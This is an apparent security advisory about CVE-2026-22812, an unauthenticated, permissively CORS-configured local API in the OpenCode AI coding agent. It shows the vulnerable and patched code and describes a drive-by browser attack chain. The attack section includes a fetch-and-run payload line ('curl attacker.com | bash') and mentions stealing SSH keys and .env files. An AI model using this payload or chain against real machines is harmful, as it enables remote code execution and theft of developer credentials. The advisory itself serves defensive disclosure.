CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22812

OpenCode RCE: When Localhost Becomes Public Enemy #1

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 19, 2026·5 min read·659 visits

Executive Summary (TL;DR)

OpenCode versions prior to 1.0.216 exposed a local API server with no authentication and a wildcard CORS policy. This allowed malicious websites to send cross-origin requests to 'localhost:4096', creating a session and executing shell commands with the user's privileges via a simple browser visit.

In the rush to build the ultimate AI coding assistant, the developers of OpenCode forgot one tiny detail: the internet is a hostile place. CVE-2026-22812 is a classic example of implicit trust in 'localhost' gone wrong. By exposing an unauthenticated HTTP server with a permissive CORS policy, OpenCode allowed any website you visited to reach inside your machine and execute arbitrary shell commands. It’s a drive-by shooting, but instead of bullets, it’s JSON payloads, and instead of a getaway car, it’s a browser tab.

The Hook: The AI That Listened to Everyone

We all love AI agents. They write our boilerplate, refactor our messy functions, and occasionally hallucinate libraries that don't exist. To do its job, the OpenCode agent runs a local server on your machine—typically on port 4096. This server is the bridge between the heavy lifting of the AI logic and the UI (your IDE or browser dashboard).

In a perfect world, this local server would only talk to trusted processes. It would demand a secret handshake, a token, or at least a stern look before executing commands. But in the world of OpenCode prior to version 1.0.216, the server was a promiscuous socialite. It didn't care who was asking; it just wanted to be helpful.

The architecture relied on the assumption that "if it's on localhost, it's safe." This is a dangerous fallacy in modern web security. Your browser is a portal to the entire internet, and it has access to localhost. If you don't secure the door, the browser will happily proxy attacks from evil.com straight to your internal services.

The Flaw: CORS and the Missing Bouncer

The root cause here is a delicious cocktail of two failures: Missing Authentication (CWE-306) and Permissive Cross-Origin Resource Sharing (CWE-942).

First, the endpoints. The server exposed /session to create a session and /session/{id}/shell to run shell commands. Neither required a password, a token, or even a polite 'please'. If you could reach the port, you could run the shell.

Second, the real killer: CORS. Browsers have a mechanism called the Same-Origin Policy (SOP) to stop evil.com from reading data from bank.com. However, servers can relax this via CORS headers. The OpenCode developers, likely to avoid friction during development, used a wildcard configuration.

Technically, they used .use(cors()) from the Express/Connect ecosystem without options. This default configuration often reflects the Origin header sent by the client, effectively saying "Yes, I will accept requests from anywhere!" This turned the browser into a confused deputy. A malicious site could instruct your browser to send a POST request to 127.0.0.1:4096. Because the server explicitly replied with "Access-Control-Allow-Origin: *" (or the specific origin), the browser bypassed SOP checks, allowed the request, and handed the response (containing the sensitive Session ID) back to the attacker.

The Code: The Smoking Gun

Let's look at the diff. It's rare to see a fix so simple yet so impactful. The vulnerability existed because the CORS middleware was initialized blindly.

Here is the vulnerable code in packages/opencode/src/server/server.ts:

// The "Come on in, the water's fine" configuration
app.use(cors())

And here is the fix introduced in commit 7d2d87fa2c44e32314015980bb4e59a9386e858c:

app.use(
  cors({
    origin(input) {
      if (!input) return
      // Allow trusted local sources
      if (input.startsWith("http://localhost:")) return input
      if (input.startsWith("http://127.0.0.1:")) return input
      // Allow the official vendor domain
      if (/^https:\/\/([a-z0-9-]+\.)*opencode\.ai$/.test(input)) {
        return input
      }
      // Deny everyone else
      return
    },
  }),
)

Analysis of the Fix: The developers replaced the default behavior with a strict allowlist. Now, the server checks the Origin header. It only permits requests from:

  1. localhost or 127.0.0.1 (other local apps).
  2. Subdomains of opencode.ai (the vendor's cloud dashboard).

If you visit sketchy-site.org, the browser sends the Origin: https://sketchy-site.org header. The new code returns undefined, the CORS check fails, and the browser blocks the request. Crisis averted—mostly.

The Exploit: Weaponizing a Browser Tab

Exploiting this is trivially easy and requires zero specialized tools—just a web page. Here is how an attacker creates a "Drive-By RCE".

The Setup:

  1. The attacker hosts a webpage containing malicious JavaScript.
  2. The victim, running OpenCode in the background, visits the page.

The Attack Chain:

  1. Handshake: The JS sends a POST to /session. Since the server replies with permissive CORS headers, the browser allows the JS to read the response.
  2. Extraction: The JS parses the JSON response to grab the session_id.
  3. Execution: The JS sends a second POST to /session/{session_id}/shell with the payload {"command": "calc.exe"} (or curl attacker.com | bash).

> [!WARNING] > Because this runs with the user's privileges, this isn't just "OpenCode RCE". It is "Your Laptop RCE". The attacker can read your SSH keys, exfiltrate your .env files, or install persistence mechanisms.

The Fix: Closing the Blinds

The remediation is straightforward but urgent. The vendor patched this in version 1.0.216. If you are running an older version, you are currently walking around with a "Kick Me" sign on your back.

Official Fix: Update the package immediately:

npm install -g opencode@latest
# or check your specific package manager

Re-Exploitation Potential (For the Paranoid): The fix relies on checking the Origin header. While robust against random websites, there are edge cases:

  1. DNS Rebinding: If an attacker controls a subdomain of opencode.ai (unlikely, but possible via subdomain takeover), they could bypass the regex.
  2. Local Network Exposure: The patch fixes the web vector, but if the server listens on 0.0.0.0 (all interfaces) rather than just loopback, other devices on your WiFi could still directly interact with the API via non-browser tools (curl/python), as CORS is purely a browser-side protection mechanism. Always ensure your firewall blocks port 4096 from external traffic.

Official Patches

GitHubCommit fixing the CORS vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
3.09%
Top 14% most exploited

Affected Systems

OpenCode AI Agent < 1.0.216Developer Workstations (Windows, macOS, Linux)

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenCode
anomalyco
< 1.0.2161.0.216
AttributeDetail
CWE IDCWE-942 (Permissive CORS) & CWE-306 (Missing Auth)
Attack VectorNetwork (Drive-by Web)
CVSS8.8 (High)
ImpactUnauthenticated Remote Code Execution
Exploit StatusHigh / Public PoC Available
Patch StatusFixed in 1.0.216

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-942
Permissive Cross-domain Policy with Untrusted Domains

Known Exploits & Detection

GitHubInteractive shell exploit toolkit
NucleiDetection template for CVE-2026-22812

Vulnerability Timeline

Vulnerability reported to vendor
2025-11-17
Patch committed to main branch
2025-12-30
CVE-2026-22812 published
2026-01-12
Public PoC released
2026-01-18

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-55699
6.5

CVE-2026-55699: Arbitrary Directory Deletion via Path Traversal in pnpm globalBinDir Resolver

CVE-2026-55699 (also identified as GHSA-4gxm-v5v7-fqc4) is a critical path traversal and arbitrary directory deletion vulnerability in the pnpm package manager. The issue exists because the manifest validation process fails to prevent relative path segments within the package 'bin' keys. When a malicious package containing structured path traversal markers is globally installed and later manipulated, pnpm resolves the target paths through path.join() and passes the resolved paths to a recursive deletion function, resulting in arbitrary directory removal.

Amit Schendel
Amit Schendel
15 views•6 min read
•2 days ago•CVE-2026-55700
7.1

CVE-2026-55700: Path Traversal and Arbitrary File Write in pnpm stage download

A path traversal vulnerability in pnpm stage download allows malicious registries or compromised package manifests to overwrite arbitrary files on the victim's filesystem via unvalidated package name and version fields.

Alon Barad
Alon Barad
13 views•4 min read
•2 days ago•GHSA-WW5P-J6CJ-6MQQ
5.5

GHSA-WW5P-J6CJ-6MQQ: Credential Exposure in Nezha Dashboard DDNS and Notification APIs

GHSA-WW5P-J6CJ-6MQQ is a technical credential exposure vulnerability in Nezha Dashboard prior to version 2.2.5. The vulnerability allows authenticated administrative users or actors possessing scoped read-only Personal Access Tokens (PATs) to exfiltrate plaintext third-party API credentials, secret keys, and webhook authorization headers due to a lack of data redaction during API object serialization.

Amit Schendel
Amit Schendel
10 views•7 min read
•2 days ago•GHSA-FR4H-3CPH-29XV
7.1

GHSA-FR4H-3CPH-29XV: Path Traversal and Directory Hijacking in pnpm and pacquet Dependency Resolution

GHSA-FR4H-3CPH-29XV is a high-severity path traversal vulnerability in pnpm and its Rust-based port pacquet. The flaw manifests when using the hoisted node-linker configuration, allowing an attacker to manipulate the lockfile to resolve relative traversal sequences or target reserved subdirectories, leading to arbitrary file write or execution hijacking.

Amit Schendel
Amit Schendel
8 views•8 min read
•3 days ago•GHSA-72R4-9C5J-MJ57
7.1

GHSA-72R4-9C5J-MJ57: Arbitrary File Deletion via Path Traversal in pnpm patch-remove

A path traversal vulnerability in the pnpm package manager's 'patch-remove' command allows an attacker to delete arbitrary files outside the patches directory. By manipulating configuration files like package.json, an attacker can specify a traversal path that the application deletes recursively without validating the path's containment.

Alon Barad
Alon Barad
9 views•5 min read
•3 days ago•GHSA-QRV3-253H-G69C
8.3

GHSA-QRV3-253H-G69C: Path Traversal and Arbitrary Symlink Creation via configDependencies in pnpm

A high-severity path traversal vulnerability exists in the pnpm package manager. By crafting a malicious lockfile (pnpm-lock.yaml) with path traversal characters in the configDependencies block, an attacker can create arbitrary directories and symlinks outside the project's node_modules/.pnpm-config directory. This exploitation happens automatically during pnpm installation, even when executing with scripts disabled via the --ignore-scripts flag.

Amit Schendel
Amit Schendel
10 views•7 min read